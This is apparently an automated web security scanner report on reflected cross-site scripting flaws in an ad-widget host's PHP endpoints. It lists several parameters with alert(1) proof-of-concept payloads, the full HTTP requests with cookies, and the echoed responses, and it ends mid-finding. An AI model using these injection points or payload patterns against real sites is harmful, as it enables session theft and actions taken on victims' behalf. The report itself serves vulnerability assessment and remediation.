Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the ad request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 318f0"-alert(1)-"0b5c8b011a2 was submitted in the ad parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /widget/ptloader2.php?width=300&height=250&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0318f0"-alert(1)-"0b5c8b011a2&adv=11217.cabinets_and_storage.mrec.3&bucket=default&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4.75&price=1.14 HTTP/1.1 Host: widget.pulsemgr.com Proxy-Connection: keep-alive Referer: http://optimized-by.rubiconproject.com/a/3346/3536/11977-15.html? Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: p=A70BFD52-10FB-11E0-953B-5E74E2862FEF; u=11202.pid_13061445:389:f; s=3a7a/-11202.pid_13061445:90:3; t=11202:2f3:pp; n=11202:2e4:3; c=1; f=/p11217:2da:1/s11217.24455880610111217:2da:1/s11202.10725649900111202:2da:1/p11202:2e0:1
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.4 Vary: Accept-Encoding P3P: policyref="http://img.pulsemgr.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM" Content-Type: text/javascript Expires: Wed, 05 Jan 2011 02:31:50 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 05 Jan 2011 02:31:50 GMT Connection: close Content-Length: 479
The value of the adv request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload deab0"-alert(1)-"8f7dea26b47 was submitted in the adv parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /widget/ptloader2.php?width=300&height=250&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3deab0"-alert(1)-"8f7dea26b47&bucket=default&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4.75&price=1.14 HTTP/1.1 Host: widget.pulsemgr.com Proxy-Connection: keep-alive Referer: http://optimized-by.rubiconproject.com/a/3346/3536/11977-15.html? Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: p=A70BFD52-10FB-11E0-953B-5E74E2862FEF; u=11202.pid_13061445:389:f; s=3a7a/-11202.pid_13061445:90:3; t=11202:2f3:pp; n=11202:2e4:3; c=1; f=/p11217:2da:1/s11217.24455880610111217:2da:1/s11202.10725649900111202:2da:1/p11202:2e0:1
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.4 Vary: Accept-Encoding P3P: policyref="http://img.pulsemgr.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM" Content-Type: text/javascript Expires: Wed, 05 Jan 2011 02:31:52 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 05 Jan 2011 02:31:52 GMT Connection: close Content-Length: 479
The value of the bid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dd6ba"-alert(1)-"116b34cd74b was submitted in the bid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /widget/ptloader2.php?width=300&height=250&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3&bucket=default&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4.75dd6ba"-alert(1)-"116b34cd74b&price=1.14 HTTP/1.1 Host: widget.pulsemgr.com Proxy-Connection: keep-alive Referer: http://optimized-by.rubiconproject.com/a/3346/3536/11977-15.html? Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: p=A70BFD52-10FB-11E0-953B-5E74E2862FEF; u=11202.pid_13061445:389:f; s=3a7a/-11202.pid_13061445:90:3; t=11202:2f3:pp; n=11202:2e4:3; c=1; f=/p11217:2da:1/s11217.24455880610111217:2da:1/s11202.10725649900111202:2da:1/p11202:2e0:1
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.4 Vary: Accept-Encoding P3P: policyref="http://img.pulsemgr.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM" Content-Type: text/javascript Expires: Wed, 05 Jan 2011 02:32:00 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 05 Jan 2011 02:32:00 GMT Connection: close Content-Length: 479
The value of the bucket request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f9cde"-alert(1)-"8a47d7cf75a was submitted in the bucket parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /widget/ptloader2.php?width=300&height=250&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3&bucket=defaultf9cde"-alert(1)-"8a47d7cf75a&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4.75&price=1.14 HTTP/1.1 Host: widget.pulsemgr.com Proxy-Connection: keep-alive Referer: http://optimized-by.rubiconproject.com/a/3346/3536/11977-15.html? Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: p=A70BFD52-10FB-11E0-953B-5E74E2862FEF; u=11202.pid_13061445:389:f; s=3a7a/-11202.pid_13061445:90:3; t=11202:2f3:pp; n=11202:2e4:3; c=1; f=/p11217:2da:1/s11217.24455880610111217:2da:1/s11202.10725649900111202:2da:1/p11202:2e0:1
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.4 Vary: Accept-Encoding P3P: policyref="http://img.pulsemgr.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM" Content-Type: text/javascript Expires: Wed, 05 Jan 2011 02:31:54 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 05 Jan 2011 02:31:54 GMT Connection: close Content-Length: 479
1.5. http://widget.pulsemgr.com/widget/ptloader2.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://widget.pulsemgr.com
Path:
/widget/ptloader2.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c1ace"-alert(1)-"a50504fe156 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /widget/ptloader2.php?width=300&height=250&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3&bucket=default&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4.75&price=1.14&c1ace"-alert(1)-"a50504fe156=1 HTTP/1.1 Host: widget.pulsemgr.com Proxy-Connection: keep-alive Referer: http://optimized-by.rubiconproject.com/a/3346/3536/11977-15.html? Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: p=A70BFD52-10FB-11E0-953B-5E74E2862FEF; u=11202.pid_13061445:389:f; s=3a7a/-11202.pid_13061445:90:3; t=11202:2f3:pp; n=11202:2e4:3; c=1; f=/p11217:2da:1/s11217.24455880610111217:2da:1/s11202.10725649900111202:2da:1/p11202:2e0:1
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.4 Vary: Accept-Encoding P3P: policyref="http://img.pulsemgr.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM" Content-Type: text/javascript Expires: Wed, 05 Jan 2011 02:32:15 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 05 Jan 2011 02:32:15 GMT Connection: close Content-Length: 482
The value of the price request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8d123"-alert(1)-"b6780adc5ee was submitted in the price parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /widget/ptloader2.php?width=300&height=250&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3&bucket=default&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4.75&price=1.148d123"-alert(1)-"b6780adc5ee HTTP/1.1 Host: widget.pulsemgr.com Proxy-Connection: keep-alive Referer: http://optimized-by.rubiconproject.com/a/3346/3536/11977-15.html? Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: p=A70BFD52-10FB-11E0-953B-5E74E2862FEF; u=11202.pid_13061445:389:f; s=3a7a/-11202.pid_13061445:90:3; t=11202:2f3:pp; n=11202:2e4:3; c=1; f=/p11217:2da:1/s11217.24455880610111217:2da:1/s11202.10725649900111202:2da:1/p11202:2e0:1
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.4 Vary: Accept-Encoding P3P: policyref="http://img.pulsemgr.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM" Content-Type: text/javascript Expires: Wed, 05 Jan 2011 02:32:03 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 05 Jan 2011 02:32:03 GMT Connection: close Content-Length: 479
The value of the ptnr request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9ef17"-alert(1)-"9b615dc644f was submitted in the ptnr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /widget/ptloader2.php?width=300&height=250&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3&bucket=default&ptnr=212719ef17"-alert(1)-"9b615dc644f&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4.75&price=1.14 HTTP/1.1 Host: widget.pulsemgr.com Proxy-Connection: keep-alive Referer: http://optimized-by.rubiconproject.com/a/3346/3536/11977-15.html? Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: p=A70BFD52-10FB-11E0-953B-5E74E2862FEF; u=11202.pid_13061445:389:f; s=3a7a/-11202.pid_13061445:90:3; t=11202:2f3:pp; n=11202:2e4:3; c=1; f=/p11217:2da:1/s11217.24455880610111217:2da:1/s11202.10725649900111202:2da:1/p11202:2e0:1
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.4 Vary: Accept-Encoding P3P: policyref="http://img.pulsemgr.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM" Content-Type: text/javascript Expires: Wed, 05 Jan 2011 02:31:57 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 05 Jan 2011 02:31:57 GMT Connection: close Content-Length: 479
The value of the req request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b6281"-alert(1)-"e3dc686695c was submitted in the req parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /widget/ptloader2.php?width=300&height=250&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3&bucket=default&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863b6281"-alert(1)-"e3dc686695c&bid=4.75&price=1.14 HTTP/1.1 Host: widget.pulsemgr.com Proxy-Connection: keep-alive Referer: http://optimized-by.rubiconproject.com/a/3346/3536/11977-15.html? Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: p=A70BFD52-10FB-11E0-953B-5E74E2862FEF; u=11202.pid_13061445:389:f; s=3a7a/-11202.pid_13061445:90:3; t=11202:2f3:pp; n=11202:2e4:3; c=1; f=/p11217:2da:1/s11217.24455880610111217:2da:1/s11202.10725649900111202:2da:1/p11202:2e0:1
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.4 Vary: Accept-Encoding P3P: policyref="http://img.pulsemgr.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM" Content-Type: text/javascript Expires: Wed, 05 Jan 2011 02:31:59 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 05 Jan 2011 02:31:59 GMT Connection: close Content-Length: 479
The value of the ad request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 87401"-alert(1)-"b578cff2c00 was submitted in the ad parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /widget/v18b/show2.php?width=300&height=250&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A087401"-alert(1)-"b578cff2c00&adv=11217.cabinets_and_storage.mrec.3&bucket=default&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4.75&price=1.14 HTTP/1.1 Host: widget.pulsemgr.com Proxy-Connection: keep-alive Referer: http://optimized-by.rubiconproject.com/a/3346/3536/11977-15.html? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: p=A70BFD52-10FB-11E0-953B-5E74E2862FEF; u=11202.pid_13061445:389:f; s=3a7a/-11202.pid_13061445:90:3; t=11202:2f3:pp; n=11202:2e4:3; c=1; f=/p11217:2da:1/s11217.24455880610111217:2da:1/s11202.10725649900111202:2da:1/p11202:2e0:1
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.4 Vary: Accept-Encoding P3P: policyref="http://img.pulsemgr.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM" Content-Type: text/html; charset=UTF-8 Cache-Control: public, max-age=604800 Date: Wed, 05 Jan 2011 02:32:00 GMT Connection: close Content-Length: 8938
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<!-- Common Styles --> <style type="text/css"> /* Copyright (c) 2008, Yahoo! Inc. All righ ...[SNIP]... eTime())+"&sptFlash="+bFlashSupport+"&rand="+Math.round(Math.random()*10000000000000000)+"&width=300&height=250&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A087401"-alert(1)-"b578cff2c00&adv=11217.cabinets_and_storage.mrec.3&bucket=default&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4.75&price=1.14", "js"); </script> ...[SNIP]...
The value of the adv request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d8af7"-alert(1)-"5c7b25e23c4 was submitted in the adv parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /widget/v18b/show2.php?width=300&height=250&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3d8af7"-alert(1)-"5c7b25e23c4&bucket=default&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4.75&price=1.14 HTTP/1.1 Host: widget.pulsemgr.com Proxy-Connection: keep-alive Referer: http://optimized-by.rubiconproject.com/a/3346/3536/11977-15.html? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: p=A70BFD52-10FB-11E0-953B-5E74E2862FEF; u=11202.pid_13061445:389:f; s=3a7a/-11202.pid_13061445:90:3; t=11202:2f3:pp; n=11202:2e4:3; c=1; f=/p11217:2da:1/s11217.24455880610111217:2da:1/s11202.10725649900111202:2da:1/p11202:2e0:1
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.4 Vary: Accept-Encoding P3P: policyref="http://img.pulsemgr.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM" Content-Type: text/html; charset=UTF-8 Cache-Control: public, max-age=604800 Date: Wed, 05 Jan 2011 02:32:01 GMT Connection: close Content-Length: 8938
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<!-- Common Styles --> <style type="text/css"> /* Copyright (c) 2008, Yahoo! Inc. All righ ...[SNIP]... rand="+Math.round(Math.random()*10000000000000000)+"&width=300&height=250&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3d8af7"-alert(1)-"5c7b25e23c4&bucket=default&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4.75&price=1.14", "js"); </script> ...[SNIP]...
The value of the bid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 98558"-alert(1)-"d6a9737e712 was submitted in the bid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /widget/v18b/show2.php?width=300&height=250&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3&bucket=default&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4.7598558"-alert(1)-"d6a9737e712&price=1.14 HTTP/1.1 Host: widget.pulsemgr.com Proxy-Connection: keep-alive Referer: http://optimized-by.rubiconproject.com/a/3346/3536/11977-15.html? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: p=A70BFD52-10FB-11E0-953B-5E74E2862FEF; u=11202.pid_13061445:389:f; s=3a7a/-11202.pid_13061445:90:3; t=11202:2f3:pp; n=11202:2e4:3; c=1; f=/p11217:2da:1/s11217.24455880610111217:2da:1/s11202.10725649900111202:2da:1/p11202:2e0:1
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.4 Vary: Accept-Encoding P3P: policyref="http://img.pulsemgr.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM" Content-Type: text/html; charset=UTF-8 Cache-Control: public, max-age=604800 Date: Wed, 05 Jan 2011 02:32:11 GMT Connection: close Content-Length: 8938
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<!-- Common Styles --> <style type="text/css"> /* Copyright (c) 2008, Yahoo! Inc. All righ ...[SNIP]... =11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3&bucket=default&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4.7598558"-alert(1)-"d6a9737e712&price=1.14", "js"); </script> ...[SNIP]...
The value of the bucket request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 954e7"-alert(1)-"67cacef1f6d was submitted in the bucket parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /widget/v18b/show2.php?width=300&height=250&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3&bucket=default954e7"-alert(1)-"67cacef1f6d&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4.75&price=1.14 HTTP/1.1 Host: widget.pulsemgr.com Proxy-Connection: keep-alive Referer: http://optimized-by.rubiconproject.com/a/3346/3536/11977-15.html? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: p=A70BFD52-10FB-11E0-953B-5E74E2862FEF; u=11202.pid_13061445:389:f; s=3a7a/-11202.pid_13061445:90:3; t=11202:2f3:pp; n=11202:2e4:3; c=1; f=/p11217:2da:1/s11217.24455880610111217:2da:1/s11202.10725649900111202:2da:1/p11202:2e0:1
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.4 Vary: Accept-Encoding P3P: policyref="http://img.pulsemgr.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM" Content-Type: text/html; charset=UTF-8 Cache-Control: public, max-age=604800 Date: Wed, 05 Jan 2011 02:32:04 GMT Connection: close Content-Length: 8938
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<!-- Common Styles --> <style type="text/css"> /* Copyright (c) 2008, Yahoo! Inc. All righ ...[SNIP]... nd(Math.random()*10000000000000000)+"&width=300&height=250&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3&bucket=default954e7"-alert(1)-"67cacef1f6d&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4.75&price=1.14", "js"); </script> ...[SNIP]...
The value of the height request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c3acb"-alert(1)-"0e9185376a was submitted in the height parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
